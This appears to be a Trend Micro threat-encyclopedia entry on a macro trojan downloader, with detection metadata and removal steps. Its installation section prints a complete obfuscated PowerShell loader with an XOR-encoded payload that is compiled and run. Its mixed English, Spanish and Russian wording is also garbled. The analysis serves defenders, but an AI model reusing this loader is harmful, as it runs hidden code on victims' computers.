Author: Kennard Yap   
 

VBA/TrojanDownloader.Agent.RVM trojan (NOD32); Trojan:W32/MalDoc.A (FSECURE)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 REPORTED INFECTION:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
     

  • In the wild::
    Yes

  OVERVIEW

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 24,951 bytes
File type: DOC

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • powershell -WindowStyle Hidden Sl$$%-SSl$$%*Sfunction z994c {param($ubfa17a)$nc4d731='y95eab6';$ka666='';for ($i=0; $i -lt $ubfa17a.length;$i+=2){$y488b4=[convert]::ToByte($ubfa17a.Substring($i,2),16);$ka666+=[char]($y488b4 -bxor $nc4d731[($i/2)%$nc4d731.length]);}return $ka666;}Sl$$%-SSl$$%*S$hd2ba7a = '0c4a5c0b064265004a41000c59430a505b0241314f0a4d50084f3043174d5c08044c7f174d50170e12651c4b430c020745424c460c0f05162a404611040f183d5054020f0d450d5056165a174510575245321b450d5c584b282d0d0c4a5c0b064265004a41000c4c781c4d0e686b12431b555c0641015a184a46451754041c5c041e3a265a157058150e1042511b5e00130c53150a07474d27580d4b4c350e0b580d0417220416660b5656240506441c4a4647483f16094c57090801160a4d54110801161c414100130c16305741351510161601560705501e305741351510160c5a0151585103554a4117080c515958535c55571f426271090d2b5b0956471149405d1c4b5b000d51045b1515200f164400695a0c0f1616441917290e03523550571700104f5b106845111754155056451216570d505645041a421c4b5b45280c42294d47450654044a5f1d1615105f175e1512570001180e1c5e3a265a157058150e1042511b5e00130c53150a07474d4273174d471c310d5f174d0847370b440d4c54093110590d5c5611434b6b594940070d0b55594a4104150b55595c4d11041058595b5a0a0d42571c5c0657492b580d694117411353410104004d377f174d6511134254480d0304005a1a594c5c0b15424c4c5c5452054e16164c4145140b580d1957575856051c100e3e250e5a3054450a13161e5b7250170f075a4a0b1b010d0e145519700b15104f29565c0b155f142b4d59280e1453345c580a131b1455196600152e570a4d7017130d44445f540912071f2419461100165f1a19501d1507441719430a0806160a0c0c5657551e305741351510161d5d5650574e7f174d651113425d4c0f060155071a105741451506054c5807074859460c5b590c0242450d58410c02425f174d1504595b574e08034d48197f174d65111342581f5b04075504164419525353515051430c5c55011e5b080d50555600495a010351540318080047484b0d105f1d0b0700071b0d53585c2b580d6941174f38530b561c1e060d42161953575201054e02482c0f16660d4b15020353074f0e00580e5a551b5d074d0f0454485b01034d180f400d564d43510e4c0d01535101054b0904505653014e5b01555151064e09025155401f50025c0349055448080352545f0b30574135151018235c470a481951164d5a450750051a0a025e1c377f174d651113425b18000057565f1e2c705b11311644500c0e10080c42595503505756071f04055e08041e5858500052501e1e5b04545755035554545c54500155094d51514e590c4d15095757004d08534c481951164d5a450750051a0a025e1c204f0d5c6e38411500400d00075c1906010a0449511a501f15051d58524b42705b1131164459495156585b0e44745417120a57151774090d0d55317e590a03035a510a1c5e2c03440a5154094f215909401d12575b024c5b19554d12524a000c5d4d511f424a005c52540151575012412b580d69411749055448080352544c6216705b1157561e5012051d5152071b10191505510f400119564859504b0a56565658162e5c57260d0b53174d151c5657531f0d080b0415162e5c57260d0b53174d1d4c5a11420b505b0241170e185d0258240c40104b5a0b0c07580d177200152459155d50173103421111700b170b44165758000f16182a49500608035a3f565901041018384945090801570d505a0b25034218101e473d3e501b0c010059401d03000c51024a144c0e0006550606491b1c5e1855031c5f014b250d4117555a0405245f155c1d1f585b021a1117545056524d0804505400021d080c550456534d0b01075057074d0c0c545953014c5804525154021a0d0755045300485805065101064a0c04540256574858075d515505490e0d550757544e5a05555356064c080d540256074c09174c4d170e185d024c5a3244165a5016123142184b412c0f0459595e03070201044e045b001642660b5656001211650d584711280c501611405d000601500265170e01530a4a1b361503440d1152530301554b0e1c5e1307420c4b5b4551594b094c57090801160a4d54110801160a4d470c0f051603000c51024a450d4b5c0b0642421d00535004041f024a4117080c51594c5651555b054c04171c585753185b03475a11420b505b024105004b0a53583216441057524b240f460d400e030e101e10574145085f0642500911055b504c5c534b2d07581e4d5d5e08490b4b104e0718165359560d06030604447a5a0b1707440d17610a231b421c1141015804031c5f1b361400450d4b5c0b064a5f550b1c4950541f425e035752041d4411560d00101f51560d0603060459671510025602400a003e490b194b1015404117554d0d0c56544c7a1c575211093f1f4244470015174417195253535150424448';Sl$$%-SSl$$%*S$hd2ba7a2 = z994c($hd2ba7a);Sl$$%-SSl$$%*SAdd-Type -TypeDefinition $hd2ba7a2;Sl$$%-SSl$$%*S[v62ee1]::a89a716();Sl$$%-SSl$$%*SSl$$%-SSl$$%*SSl$$%-SSl$$%*_;

  SOLUTION

Minimum scan engine: 9.850
First VSAPI Pattern File: 15.718.02
First VSAPI Pattern Release Date: 02 de марта de 2020
VSAPI OPR PATTERN-VERSION: 15.719.00
VSAPI OPR PATTERN DATE: 03 de марта de 2020

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.W97M.POWLOAD.TIOIBEKE En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


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